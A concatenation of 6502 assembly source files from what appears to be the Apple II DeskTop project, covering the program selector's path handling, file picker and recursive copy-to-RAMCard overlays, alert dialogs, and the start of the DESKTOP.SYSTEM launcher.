.byte kLinkFileSig1Value, kLinkFileSig2Value, kLinkFileCurrentVersion
kCheckHeaderLength = * - check_header
DEFINE_OPEN_PARAMS open_params, INVOKER_PREFIX, io_buf
DEFINE_READWRITE_PARAMS read_params, read_buf, kLinkFileMaxSize
DEFINE_CLOSE_PARAMS close_params
.endproc ; ReadLinkFile
;;; ============================================================
kBSOffset = 5 ; Offset of 'x' in BASIx.SYSTEM
str_basix_system:
PASCAL_STRING "BASIx.SYSTEM"
;;; --------------------------------------------------
;;; Check `INVOKER_PREFIX`'s ancestors to see if the desired interpreter
;;; (BASIC.SYSTEM or BASIS.SYSTEM) is present.
;;; Input: `INVOKER_PREFIX` set to target path
;;; Output: zero if found, non-zero if not found
.proc CheckBasixSystemImpl
launch_path := INVOKER_PREFIX
interp_path := INVOKER_INTERPRETER
ENTRY_POINTS_FOR_A basic, 'C', basis, 'S'
;; "BASI?" -> "BASIC", "BASI?" -> "BASIS"
sta str_basix_system + kBSOffset
;; Start off with `interp_path` = `launch_path`
ldx launch_path
stx path_length
DO
copy8 launch_path,x, interp_path,x
dex
WHILE_POS
;; Pop off a path segment.
pop_segment:
path_length := *+1
ldx #SELF_MODIFIED_BYTE
DO
lda interp_path,x
cmp #'/'
beq found_slash
dex
WHILE_NOT_ZERO
no_bs: copy8 #0, interp_path ; null out the path
return #$FF ; non-zero is failure
found_slash:
cpx #1
beq no_bs
stx interp_path
dex
stx path_length
;; Append BASI?.SYSTEM to path and check for file.
ldx interp_path
ldy #0
DO
inx
iny
copy8 str_basix_system,y, interp_path,x
WHILE_Y_NE str_basix_system
stx interp_path
param_call GetFileInfo, interp_path
bcs pop_segment
rts ; zero is success
.endproc ; CheckBasixSystemImpl
CheckBasisSystem := CheckBasixSystemImpl::basis
CheckBasicSystem := CheckBasixSystemImpl::basic
;;; ============================================================
;;; Input: A,X = relative path to interpreter
;;; Output: `INVOKER_INTERPRETER` is abs path, flags have `GET_FILE_INFO` result
.proc CheckInterpreter
ptr := $06
stax $06
MLI_CALL GET_PREFIX, get_prefix_params
ldy #0
copy8 (ptr),y, len
ldx INVOKER_INTERPRETER
DO
iny
inx
copy8 (ptr),y, INVOKER_INTERPRETER,x
len := *+1
cpy #SELF_MODIFIED_BYTE
WHILE_NE
stx INVOKER_INTERPRETER
param_jump GetFileInfo, INVOKER_INTERPRETER
DEFINE_GET_PREFIX_PARAMS get_prefix_params, INVOKER_INTERPRETER
.endproc ; CheckInterpreter
;;; ============================================================
;;; Call GET_FILE_INFO on path at A,X; results are in `file_info_params`
;;; Output: MLI result (carry/zero flag, etc)
.proc GetFileInfo
stax file_info_params::pathname
MLI_CALL GET_FILE_INFO, file_info_params
rts
.endproc ; GetFileInfo
;;; ============================================================
;;; Uppercase a string
;;; Input: A,X = Address
.proc UpcaseString
ptr := $06
stax ptr
ldy #$00
lda (ptr),y
IF_NOT_ZERO
tay
DO
lda (ptr),y
jsr ToUpperCase
sta (ptr),y
dey
WHILE_NOT_ZERO
END_IF
rts
.endproc ; UpcaseString
;;; ============================================================
str_extras_basic:
PASCAL_STRING .concat(kFilenameExtrasDir, "/BASIC.system")
str_extras_intbasic:
PASCAL_STRING .concat(kFilenameExtrasDir, "/IntBASIC.system")
str_extras_awlaunch:
PASCAL_STRING .concat(kFilenameExtrasDir, "/AWLaunch.system")
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/ramcard.s"
;;; ============================================================
.proc ComposeRAMCardEntryPath
buf := $800
sta tmp
param_call CopyRAMCardPrefix, buf
lda tmp
jsr GetSelectorListPathAddr
path_addr := $06
stax path_addr
ldy #0
copy8 (path_addr),y, len
tay
DO
lda (path_addr),y
BREAK_IF_A_EQ #'/'
dey
WHILE_NOT_ZERO
dey
DO
lda (path_addr),y
BREAK_IF_A_EQ #'/'
dey
WHILE_NOT_ZERO
dey
ldx buf
DO
inx
iny
copy8 (path_addr),y, buf,x
WHILE_Y_NE len
stx buf
ldax #buf
rts
tmp: .byte 0
len: .byte 0
.endproc ; ComposeRAMCardEntryPath
;;; ============================================================
;;; Show Alert Message
;;; Input: A = AlertID
.proc ShowAlert
tax
sta ALTZPON
bit LCBANK1
bit LCBANK1
txa
jsr AlertById
tax
sta ALTZPOFF
bit ROMIN2
txa
rts
.endproc ; ShowAlert
;;; Alert code calls here to yield; swaps memory banks back in
;;; to do things like read the ProDOS clock.
.proc SystemTaskFromLC
sta ALTZPOFF
bit ROMIN2
jsr SystemTask
sta ALTZPON
bit LCBANK1
bit LCBANK1
rts
.endproc ; SystemTaskFromLC
;;; ============================================================
;;; Called by main and nested event loops to do periodic tasks.
;;; Returns 0 if the periodic tasks were run.
.proc SystemTask
kMaxCounter = $E0 ; arbitrary
inc loop_counter
inc loop_counter
lda loop_counter
IF_A_GE #kMaxCounter
copy8 #0, loop_counter
jsr ShowClock
jsr ResetIIgsRGB ; in case it was reset by control panel
END_IF
lda loop_counter
rts
loop_counter:
.byte 0
.endproc ; SystemTask
;;; ============================================================
.include "../lib/menuclock.s"
.include "../lib/datetime.s"
.include "../lib/doubleclick.s"
.include "../lib/speed.s"
.include "../lib/bell.s"
.include "../lib/clear_dhr.s"
saved_ram_buffer := $1C00
.include "../lib/disconnect_ram.s"
.include "../lib/reconnect_ram.s"
.include "../lib/readwrite_settings.s"
.include "../lib/monocolor.s"
ADJUSTCASE_BLOCK_BUFFER := $1C00
.include "../lib/adjustfilecase.s"
;; TODO: Move these out of the `app` scope
.include "../toolkits/btk.s"
BTKEntry := btk::BTKEntry
.include "../toolkits/lbtk.s"
LBTKEntry := lbtk::LBTKEntry
.include "../toolkits/optk.s"
OPTKEntry := optk::OPTKEntry
;;; ============================================================
.endscope ; app
ENDSEG SegmentApp
ASSERT_ADDRESS OVERLAY_ADDR
|
a2stuff/a2d
| 3,421
|
src/selector/ovl_file_dialog.s
|
;;; ============================================================
;;; Run a Program File Picker Dialog - Overlay #1
;;;
;;; Compiled as part of selector.s
;;; ============================================================
BEGINSEG OverlayFileDialog
.scope file_dialog
.org ::OVERLAY_ADDR
BTKEntry := app::BTKEntry
LBTKEntry := app::LBTKEntry
;;; ============================================================
ep_init:
tsx
stx saved_stack
copy8 #kSelectionRequiredNoDirs, selection_requirement_flags
jsr Init
param_call OpenWindow, app::str_run_a_program
jsr InitPathWithDefaultDevice
jsr UpdateListFromPath
jmp EventLoop
;;; ============================================================
ep_loop:
jmp EventLoop
;;; ============================================================
buf_path:
.res ::kPathBufferSize, 0
saved_stack:
.byte 0
;;; ============================================================
;;; File Picker Dialog
.include "../lib/file_dialog_res.s"
;;; ============================================================
.proc HandleOK
param_call GetPath, buf_path
ldx saved_stack
txs
ldy #<buf_path
ldx #>buf_path
return #$00
.endproc ; HandleOK
;;; ============================================================
.proc HandleCancel
jsr CloseWindow
ldx saved_stack
txs
return #$FF
.endproc ; HandleCancel
;;; ============================================================
;;; Required proc definitions:
SystemTask := app::SystemTask
DetectDoubleClick := app::DetectDoubleClick
AdjustOnLineEntryCase := app::AdjustOnLineEntryCase
AdjustFileEntryCase := app::AdjustFileEntryCase
ReadSetting := app::ReadSetting
;;; Required data definitions
event_params := app::event_params
findwindow_params := app::findwindow_params
screentowindow_params := app::screentowindow_params
.include "../lib/file_dialog.s"
.include "../lib/get_next_event.s"
;;; ============================================================
.endscope ; file_dialog
file_dialog_init := file_dialog::ep_init
file_dialog_loop := file_dialog::ep_loop
;;; ============================================================
;;; File Dialog and Alerts compete over "save area" (main $800-$1FFF)
;;; so allow preserving the state while an alert is shown.
.proc SaveFileDialogState
sec ; main>aux
bcs _MoveFileDialogState ; always
.endproc ; SaveFileDialogState
.proc RestoreFileDialogState
clc ; aux>main
FALL_THROUGH_TO _MoveFileDialogState
.endproc ; RestoreFileDialogState
;;; C set by caller
.proc _MoveFileDialogState
pha
txa
pha
tya
pha
copy16 #file_dialog::STATE_START, STARTLO
copy16 #file_dialog::STATE_END, ENDLO
copy16 #file_dialog::STATE_START, DESTINATIONLO
jsr AUXMOVE
pla
tay
pla
tax
pla
rts
.endproc ; _MoveFileDialogState
;;; ============================================================
ENDSEG OverlayFileDialog
.assert * <= $BF00, error, "Overwrites ProDOS Global Page"
|
a2stuff/a2d
| 2,519
|
src/selector/selector.s
|
.include "../config.inc"
BTK_SHORT = 1
.include "apple2.inc"
.include "apple2.mac"
.include "opcodes.inc"
.include "../inc/macros.inc"
.include "../inc/apple2.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../toolkits/lbtk.inc"
.include "../toolkits/optk.inc"
.include "../lib/alert_dialog.inc"
.include "../common.inc"
SAVE_AREA_BUFFER:= $0800
MGTKEntry := $4000
OVERLAY_ADDR := MGTKEntry + kSegmentAppLength
MLIEntry := MLI
.enum AlertID
selector_unable_to_run = $00
io_error = $27
no_device = $28
pathname_does_not_exist = $44
insert_source_disk = $45
file_not_found = $46
copy_incomplete = $FC
not_enough_room = $FD
insert_system_disk = $FE
basic_system_not_found = $FF
.endenum
;;; ============================================================
;;; File Structure
;;; ============================================================
;;; Selector is broken into various segments plus dynamically
;;; loaded overlays, all stored in one file. This section
;;; defines the file offsets, load addresses and lengths of each
;;; segment and offset
;; Bootstrap is at $0-$200 in file
kLoaderOffset = $200
;; Segments
INITSEG kLoaderOffset
DEFSEG SegmentLoader, $2000, $0200
DEFSEG SegmentInvoker, INVOKER, $0160
DEFSEG SegmentApp, $4000, $6B00
DEFSEG SegmentAlert, $D000, $0600
;; Dynamically loaded overlays
DEFSEG OverlayFileDialog, OVERLAY_ADDR, $0B00
DEFSEG OverlayCopyDialog, OVERLAY_ADDR, $0B00
;;; ============================================================
;;; Selector module
;;; ============================================================
RESOURCE_FILE "selector.res"
.define QR_LOADSTRING res_string_status_loading_selector
.define QR_FILENAME kPathnameSelector
.include "../lib/bootstrap.s"
;; Ensure loader.starts at correct offset from start of file.
.res kSegmentLoaderOffset - (.sizeof(InstallAsQuit) + .sizeof(QuitRoutine))
;; Segments
.include "loader.s"
.include "../lib/invoker.s"
.include "app.s"
.include "alert_dialog.s"
;; Overlays
.include "ovl_file_dialog.s"
.include "ovl_file_copy.s"
|
a2stuff/a2d
| 16,858
|
src/selector/ovl_file_copy.s
|
;;; ============================================================
;;; Recursive File Copy - Overlay #2
;;;
;;; Compiled as part of selector.s
;;; ============================================================
BEGINSEG OverlayCopyDialog
.scope file_copier
AdjustFileEntryCase := app::AdjustFileEntryCase
;;; Called with `INVOKER_PREFIX` set to path of entry to copy
.proc Exec
jsr OpenWindow
jsr PrepSrcAndDstPaths
jsr EnumerateFiles
bne skip
copy16 file_count, total_count
jsr PrepWindowForCopy
jsr PrepSrcAndDstPaths
jsr CopyFiles
skip:
pha
jsr CloseWindow
pla
rts
.endproc ; Exec
;;; ============================================================
;;; Recursive Enumerate & Copy Logic
;;; ============================================================
;;; | |
;;; | Code |
;;; $2000 +-------------+
;;; |.............|
;;; |.(unused)....|
;;; $1F00 +-------------+
;;; | |
;;; | R/W Buffer |
;;; $1500 +-------------+
;;; | |
;;; | Dst IO Buf |
;;; $1100 +-------------+
;;; | |
;;; | Src I/O Buf |
;;; $D00 +-------------+
;;; | Dir Data |
;;; $C00 +-------------+
;;; | |
;;; | Dir I/O Buf |
;;; $800 +-------------+
;;; : :
;;; --------------------------------------------------
;;; Required identifiers:
;;; --------------------------------------------------
dir_io_buffer := $800 ; 1024 bytes for I/O
dir_data_buffer := $C00 ; 256 bytes for directory data
src_io_buffer := $D00 ; 1024 bytes for I/O
dst_io_buffer := $1100 ; 1024 bytes for I/O
copy_buffer := $1500 ; Read/Write buffer
kCopyBufferSize = $1F00 - copy_buffer
;;; Since this is only ever "copy to RAMCard" / "on use" we assume it
;;; is okay if it already exists.
::kCopyIgnoreDuplicateErrorOnCreate = 1
;;; We do an enumeration pass before the copy, so this is not needed.
::kCopyCheckSpaceAvailable = 0
;;; --------------------------------------------------
;;; Callbacks
;;; --------------------------------------------------
;;; Jump table - populated by operation
op_jt_addrs:
op_jt_addr1: .addr SELF_MODIFIED
op_jt_addr2: .addr SELF_MODIFIED
op_jt_addr3: .addr SELF_MODIFIED
kOpJTSize = * - op_jt_addrs
OpCheckCancel := CheckCancel
OpInsertSource := ShowInsertSourceDiskPrompt
OpHandleErrorCode := HandleErrorCode
OpHandleNoSpace := ShowDiskFullError
OpUpdateProgress := UpdateCopyProgress
OpProcessDirectoryEntry:
jmp (op_jt_addr1)
OpResumeDirectory:
jmp (op_jt_addr2)
OpFinishDirectory:
jmp (op_jt_addr3)
;;; --------------------------------------------------
;;; Library
;;; --------------------------------------------------
.include "../lib/recursive_copy.s"
;;; ============================================================
;;; Copy Specialization
;;; ============================================================
;;; Jump table for `CopyFiles`
copy_jt:
.addr CopyProcessDirectoryEntry ; callback for `OpProcessDirectoryEntry`
.addr RemoveDstPathSegment ; callback for `OpResumeDirectory`
.addr NoOp ; callback for `OpFinishDirectory`
;;; ============================================================
;;; Paths for overall copy operation
dst_path: .res 64, 0
src_path: .res 64, 0
filename: .res 16, 0
src_path_slash_index: ; TODO: Written but never read?
.byte 0
saved_stack:
.byte 0
DEFINE_CLOSE_PARAMS close_everything_params ; used in case of error
;;; ============================================================
.proc CopyFiles
;; Prepare jump table
ldy #kOpJTSize-1
DO
copy8 copy_jt,y, op_jt_addrs,y
dey
WHILE_POS
tsx
stx saved_stack
;; Is there enough space?
jsr CopyPathsFromBufsToSrcAndDst
MLI_CALL GET_FILE_INFO, dst_file_info_params
IF_CS
jmp HandleErrorCode
END_IF
blocks := $06
sub16 dst_file_info_params::aux_type, dst_file_info_params::blocks_used, blocks
cmp16 blocks, blocks_total
IF_LT
jmp ShowDiskFullError
END_IF
;; Append `filename` to `pathname_dst`
ldx pathname_dst
copy8 #'/', pathname_dst+1,x
inc pathname_dst
ldy #0
ldx pathname_dst
DO
iny
inx
copy8 filename,y, pathname_dst,x
WHILE_Y_NE filename
stx pathname_dst
jmp DoCopy
.endproc ; CopyFiles
;;; ============================================================
;;; Enumeration Specialization
;;; ============================================================
;;; Jump table for `EnumerateFiles`
enum_jt:
.addr EnumerateVisitFile ; callback for `OpProcessDirectoryEntry`
.addr NoOp ; callback for `OpResumeDirectory`
.addr NoOp ; callback for `OpFinishDirectory`
;;; ============================================================
;;; Initially populated during enumeration, used during copy for UI
;;; updates.
file_count:
.word 0
total_count:
.word 0
blocks_total:
.word 0
;;; ============================================================
.proc EnumerateFiles
;; Prepare jump table
ldy #kOpJTSize-1
DO
copy8 enum_jt,y, op_jt_addrs,y
dey
WHILE_POS
tsx
stx saved_stack
lda #$00
sta file_count
sta file_count+1
sta blocks_total
sta blocks_total+1
jsr CopyPathsFromBufsToSrcAndDst
retry: MLI_CALL GET_FILE_INFO, src_file_info_params
IF_CS
IF_A_EQ_ONE_OF #ERR_VOL_NOT_FOUND, #ERR_FILE_NOT_FOUND
jsr ShowInsertSourceDiskPrompt
jmp retry
END_IF
jmp HandleErrorCode
END_IF
;; Visit the key file
lda src_file_info_params::storage_type
pha ; A = `storage_type`
ldxy #0 ; dummy value
IF_A_NE #ST_VOLUME_DIRECTORY
ldxy src_file_info_params::blocks_used ; actual value
END_IF
stxy file_entry+FileEntry::blocks_used
jsr EnumerateVisitFile ; needs `file_entry`'s `blocks_used`
;; Traverse if necessary
pla ; A = `storage_type`
IF_A_EQ_ONE_OF #ST_VOLUME_DIRECTORY, #ST_LINKED_DIRECTORY
jsr ProcessDirectory
END_IF
return #0
.endproc ; EnumerateFiles
;;; ============================================================
;;; Input: `file_entry+FileEntry::blocks_used` populated
;;; Output: `file_count` and `blocks_total` updated
.proc EnumerateVisitFile
add16 blocks_total, file_entry+FileEntry::blocks_used, blocks_total
inc16 file_count
jmp UpdateEnumerationProgress
.endproc ; EnumerateVisitFile
;;; ============================================================
;;; Common Logic
;;; ============================================================
;;; Used by both `EnumerateFiles` and `CopyFiles` to prepare
;;; for the operations.
;;; ============================================================
;;; Copy `src_path` to `pathname_src` and `dst_path` to `pathname_dst`
;;; and note last '/' in src.
.proc CopyPathsFromBufsToSrcAndDst
ldy #0
sta src_path_slash_index
dey
;; Copy `src_path` to `pathname_src`
;; ... but record index of last '/'
DO
iny
lda src_path,y
IF_A_EQ #'/'
sty src_path_slash_index
END_IF
sta pathname_src,y
WHILE_Y_NE src_path
;; Copy `dst_path` to `pathname_dst`
ldy dst_path
DO
copy8 dst_path,y, pathname_dst,y
dey
WHILE_POS
rts
.endproc ; CopyPathsFromBufsToSrcAndDst
;;; ============================================================
;;; Input: `INVOKER_PREFIX` has path to copy
.proc PrepSrcAndDstPaths
COPY_STRING INVOKER_PREFIX, src_path
ldy src_path
DO
lda src_path,y
BREAK_IF_A_EQ #'/'
dey
WHILE_NOT_ZERO
dey
sty src_path
DO
lda src_path,y
BREAK_IF_A_EQ #'/'
dey
WHILE_POS
ldx #0
DO
iny
inx
copy8 src_path,y, filename,x
WHILE_Y_NE src_path
stx filename
param_call app::CopyRAMCardPrefix, dst_path
rts
.endproc ; PrepSrcAndDstPaths
;;; ============================================================
;;; Copy Progress UI
;;; ============================================================
.params winfo
kWindowId = $0B
kWidth = 350
kHeight = 70
window_id: .byte kWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 150
mincontheight: .word 50
maxcontwidth: .word 500
maxcontheight: .word 140
port:
DEFINE_POINT viewloc, 100, 50
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kWidth, kHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
DEFINE_RECT_FRAME rect_frame, winfo::kWidth, winfo::kHeight
DEFINE_LABEL download, res_string_label_download, 116, 16
kProgressDialogDefaultX = 20
kProgressDialogPathLeft = 100
kProgressDialogPathWidth = winfo::kWidth - kProgressDialogPathLeft - kProgressDialogDefaultX
DEFINE_POINT pos_copying, kProgressDialogDefaultX, 32
DEFINE_POINT pos_path, kProgressDialogPathLeft, 32
DEFINE_POINT pos_remaining, kProgressDialogDefaultX, 45
str_copying:
PASCAL_STRING res_string_label_copying
DEFINE_RECT rect_clear_count, 18, 24, winfo::kWidth-kBorderDX*2, 32
DEFINE_RECT rect_clear_details, kBorderDX*2, 24, winfo::kWidth-kBorderDX*2, winfo::kHeight-kBorderDY*2
str_files_to_copy:
PASCAL_STRING res_string_label_files_to_copy
str_files_remaining:
PASCAL_STRING res_string_label_files_remaining
str_spaces:
PASCAL_STRING " "
str_from_int:
PASCAL_STRING "000,000"
kProgressBarTop = 51
kProgressBarInset = 20
kProgressBarWidth = winfo::kWidth - kProgressBarInset*2
kProgressBarHeight = 7
DEFINE_RECT_SZ progress_frame, kProgressBarInset-1, kProgressBarTop-1, kProgressBarWidth+2, kProgressBarHeight+2
DEFINE_RECT_SZ progress_meter, kProgressBarInset, kProgressBarTop, kProgressBarWidth,kProgressBarHeight
progress_pattern:
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
;;; ============================================================
;;; Prepares window for the enumeration phase
.proc OpenWindow
MGTK_CALL MGTK::OpenWindow, winfo
lda #winfo::kWindowId
jsr app::GetWindowPort
MGTK_CALL MGTK::SetPenMode, app::notpencopy
MGTK_CALL MGTK::SetPenSize, app::pensize_frame
MGTK_CALL MGTK::FrameRect, rect_frame
MGTK_CALL MGTK::SetPenSize, app::pensize_normal
MGTK_CALL MGTK::MoveTo, download_label_pos
param_call DrawString, download_label_str
rts
.endproc ; OpenWindow
;;; ============================================================
.params progress_muldiv_params
number: .word kProgressBarWidth ; (in) constant
numerator: .word 0 ; (in) populated dynamically
denominator: .word 0 ; (in) populated dynamically
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
.proc PrepWindowForCopy
lda #winfo::kWindowId
jsr app::GetWindowPort
MGTK_CALL MGTK::PaintRect, rect_clear_details
MGTK_CALL MGTK::SetPenMode, app::notpencopy
MGTK_CALL MGTK::FrameRect, progress_frame
FALL_THROUGH_TO UpdateCopyProgress
.endproc ; PrepWindowForCopy
.proc UpdateCopyProgress
dec file_count
lda file_count
IF_A_EQ #$FF
dec file_count+1
END_IF
lda #winfo::kWindowId
jsr app::GetWindowPort
ldax file_count
jsr IntToString
MGTK_CALL MGTK::PaintRect, rect_clear_count
MGTK_CALL MGTK::MoveTo, pos_copying
param_call DrawString, str_copying
MGTK_CALL MGTK::MoveTo, pos_path
COPY_STRING pathname_src, display_path
param_call DrawDialogPath, display_path
MGTK_CALL MGTK::MoveTo, pos_remaining
param_call DrawString, str_files_remaining
param_call DrawString, str_from_int
param_call DrawString, str_spaces
sub16 total_count, file_count, progress_muldiv_params::numerator
copy16 total_count, progress_muldiv_params::denominator
MGTK_CALL MGTK::MulDiv, progress_muldiv_params
add16 progress_muldiv_params::result, progress_meter::x1, progress_meter::x2
MGTK_CALL MGTK::SetPattern, progress_pattern
MGTK_CALL MGTK::PaintRect, progress_meter
rts
;;; Copy of `pathname_src` modified for display
display_path:
.res ::kPathBufferSize, 0
.endproc ; UpdateCopyProgress
;;; ============================================================
.proc UpdateEnumerationProgress
lda #winfo::kWindowId
jsr app::GetWindowPort
ldax file_count
jsr IntToString
MGTK_CALL MGTK::MoveTo, pos_copying
param_call DrawString, str_files_to_copy
param_call DrawString, str_from_int
param_jump DrawString, str_spaces
.endproc ; UpdateEnumerationProgress
;;; ============================================================
.proc ShowInsertSourceDiskPrompt
lda #AlertID::insert_source_disk
jsr app::ShowAlert
.assert kAlertResultCancel <> 0, error, "Branch assumes enum value"
IF_ZERO ; `kAlertResultCancel` = 1
jmp app::SetCursorWatch ; try again
END_IF
jmp RestoreStackAndReturn
.endproc ; ShowInsertSourceDiskPrompt
;;; ============================================================
.proc ShowDiskFullError
lda #AlertID::not_enough_room
jsr app::ShowAlert
jmp RestoreStackAndReturn
.endproc ; ShowDiskFullError
;;; ============================================================
.proc HandleErrorCode
lda #AlertID::copy_incomplete
jsr app::ShowAlert
FALL_THROUGH_TO RestoreStackAndReturn
.endproc ; HandleErrorCode
;;; ============================================================
.proc RestoreStackAndReturn
MLI_CALL CLOSE, close_everything_params
ldx saved_stack
txs
return #$FF
.endproc ; RestoreStackAndReturn
;;; ============================================================
.proc CloseWindow
MGTK_CALL MGTK::CloseWindow, winfo
rts
.endproc ; CloseWindow
;;; ============================================================
;;; Aborts if Escape key is down
.proc CheckCancel
MGTK_CALL MGTK::GetEvent, app::event_params
lda app::event_params::kind
IF_A_EQ #MGTK::EventKind::key_down
lda app::event_params::key
cmp #CHAR_ESCAPE
beq RestoreStackAndReturn
END_IF
rts
.endproc ; CheckCancel
;;; ============================================================
.include "../lib/drawdialogpath.s"
ReadSetting := app::ReadSetting
.include "../lib/inttostring.s"
.include "../lib/drawstring.s"
;;; ============================================================
.endscope ; file_copier
ENDSEG OverlayCopyDialog
|
a2stuff/a2d
| 4,195
|
src/selector/alert_dialog.s
|
;;; ============================================================
;;; Resources
;;;
;;; Compiled as part of selector.s
;;; ============================================================
BEGINSEG SegmentAlert
.proc AlertById
jmp start
;;; --------------------------------------------------
;;; Messages
str_selector_unable_to_run:
PASCAL_STRING res_string_alert_selector_unable_to_run
str_io_error:
PASCAL_STRING res_string_alert_io_error
str_no_device:
PASCAL_STRING res_string_alert_no_device
str_pathname_does_not_exist:
PASCAL_STRING res_string_alert_pathname_does_not_exist
str_insert_source_disk:
PASCAL_STRING res_string_alert_insert_source_disk
str_file_not_found:
PASCAL_STRING res_string_alert_file_not_found
str_copy_incomplete:
PASCAL_STRING res_string_errmsg_copy_incomplete
str_not_enough_room:
PASCAL_STRING res_string_errmsg_not_enough_room
str_insert_system_disk:
PASCAL_STRING res_string_alert_insert_system_disk
str_basic_system_not_found:
PASCAL_STRING res_string_alert_basic_system_not_found
kNumAlerts = 10
alert_table:
.byte AlertID::selector_unable_to_run
.byte AlertID::io_error
.byte AlertID::no_device
.byte AlertID::pathname_does_not_exist
.byte AlertID::insert_source_disk
.byte AlertID::file_not_found
.byte AlertID::copy_incomplete
.byte AlertID::not_enough_room
.byte AlertID::insert_system_disk
.byte AlertID::basic_system_not_found
ASSERT_TABLE_SIZE alert_table, kNumAlerts
message_table:
.addr str_selector_unable_to_run
.addr str_io_error
.addr str_no_device
.addr str_pathname_does_not_exist
.addr str_insert_source_disk
.addr str_file_not_found
.addr str_copy_incomplete
.addr str_not_enough_room
.addr str_insert_system_disk
.addr str_basic_system_not_found
ASSERT_ADDRESS_TABLE_SIZE message_table, kNumAlerts
alert_options_table:
.byte AlertButtonOptions::OK
.byte AlertButtonOptions::OK
.byte AlertButtonOptions::OK
.byte AlertButtonOptions::OK
.byte AlertButtonOptions::TryAgainCancel
.byte AlertButtonOptions::OK
.byte AlertButtonOptions::OK
.byte AlertButtonOptions::OK
.byte AlertButtonOptions::TryAgainCancel
.byte AlertButtonOptions::OK
ASSERT_TABLE_SIZE alert_options_table, kNumAlerts
.params alert_params
text: .addr 0
buttons: .byte 0 ; AlertButtonOptions
options: .byte AlertOptions::Beep | AlertOptions::SaveBack
.endparams
start: bit app::invoked_during_boot_flag ; if no UI, just return cancel
IF_NS
return #kAlertResultCancel
END_IF
;; --------------------------------------------------
;; Process Options, populate `alert_params`
;; A = alert
;; Search for alert in table, set Y to index
ldy #kNumAlerts-1
DO
cmp alert_table,y
beq :+
dey
WHILE_POS
ldy #0 ; default
:
;; Look up message
tya ; Y = index
asl a
tay ; Y = index * 2
copy16 message_table,y, alert_params::text
;; Look up button options
tya ; Y = index * 2
lsr a
tay ; Y = index
copy8 alert_options_table,y, alert_params::buttons
ldax #alert_params
FALL_THROUGH_TO Alert
.endproc ; AlertById
;;; ============================================================
;;; Display alert
;;; Inputs: A,X=alert_params structure
;;; { .addr text, .byte AlertButtonOptions, .byte AlertOptions }
Bell = app::Bell
SystemTask = app::SystemTaskFromLC
alert_grafport = app::grafport2
BTKEntry := app::BTKEntry
AD_SAVEBG = 1
.include "../lib/alert_dialog.s"
;;; ============================================================
ENDSEG SegmentAlert
|
a2stuff/a2d
| 48,351
|
src/desktop.system/desktop.system.s
|
.include "../config.inc"
RESOURCE_FILE "desktop.system.res"
.include "apple2.inc"
.include "opcodes.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../inc/smartport.inc"
.include "../common.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main
;;; : :
;;; | ProDOS |
;;; $BF00 +-------------+
;;; |.............|
;;; :.............:
;;; |.............|
;;; |.(buffer)....| * data buffer for copies to RAMCard
;;; $3900 +-------------+
;;; | |
;;; | |
;;; | |
;;; | Code |
;;; $2000 +-------------+
;;; |.............|
;;; |.(unused)....|
;;; $1E00 +-------------+
;;; | |
;;; | Sel List | * holds SELECTOR.LIST
;;; $1600 +-------------+
;;; | |
;;; | Dst IO Buf | * writing copied files, DESKTOP.SYSTEM
;;; $1200 +-------------+
;;; | | * reading copied files, SELECTOR.LIST
;;; | Src I/O Buf |
;;; $E00 +-------------+
;;; | Dir Data |
;;; $C00 +-------------+
;;; | |
;;; | Dir I/O Buf |
;;; $800 +-------------+
;;; : :
MLIEntry := MLI
;;; I/O usage (See also: `GenericCopy`)
misc_io_buffer := $E00 ; 1024 bytes for I/O
block_buffer := $800 ; 512 bytes for block read
selector_buffer := $1600 ; Room for `kSelectorListBufSize`
;;; ============================================================
kShortcutMonitor = res_char_monitor_shortcut
;;; ============================================================
.org PRODOS_SYS_START
;;; ============================================================
;;; Execution:
;;; 1. Copy DeskTop Files to RAMCard
;;; * Init screen, system bitmap
;;; * Save existing ProDOS Quit handler
;;; * Search for RAMCard
;;; * Copy DeskTop Files to RAMCard
;;; 2. Copy Selector Entries to RAMCard
;;; 3. Invoke Selector or DeskTop
;;; ============================================================
;;; First few bytes of file get updated by this and other
;;; executables, so this header format should not change.
jmp start
ASSERT_ADDRESS PRODOS_SYS_START + kLauncherDateOffset
header_date: ; written into file by Date and Time DA
.tag DateTime
header_orig_prefix:
.res 64, 0 ; written into file with original path
kWriteBackSize = * - PRODOS_SYS_START
;;; ============================================================
DEFINE_CLOSE_PARAMS close_everything_params
;;; ============================================================
start:
;; Old ProDOS leaves interrupts inhibited on start.
;; Do this for good measure.
cli
jsr Check128K ; QUITs if check fails
jsr ClearScreenEnable80Cols
jsr CheckRAMEmpty ; QUITs if user cancels
jsr EnsurePrefixSet
jsr BrandSystemFolder
jsr DetectMousetext
jsr CreateLocalDir
jsr PreserveQuitCode
jsr LoadSettings
jsr DetectSystem
jmp CopyDesktopToRAMCard
;;; ============================================================
.proc Check128K
lda MACHID
and #kMachIDHasClock
IF_ZERO
lda DATELO ; Any date already set?
ora DATEHI
IF_ZERO
COPY_STRUCT DateTime, header_date, DATELO
END_IF
END_IF
lda MACHID
and #kMachIDHas128k
RTS_IF_A_EQ #kMachIDHas128k
;; If not 128k machine, just quit back to ProDOS
jsr HOME
param_call CoutString, str_128k_required
sta KBDSTRB
DO
lda KBD
WHILE_NC
sta KBDSTRB
MLI_CALL QUIT, quit_params
DEFINE_QUIT_PARAMS quit_params
str_128k_required:
PASCAL_STRING res_string_128k_required
.endproc ; Check128K
;;; ============================================================
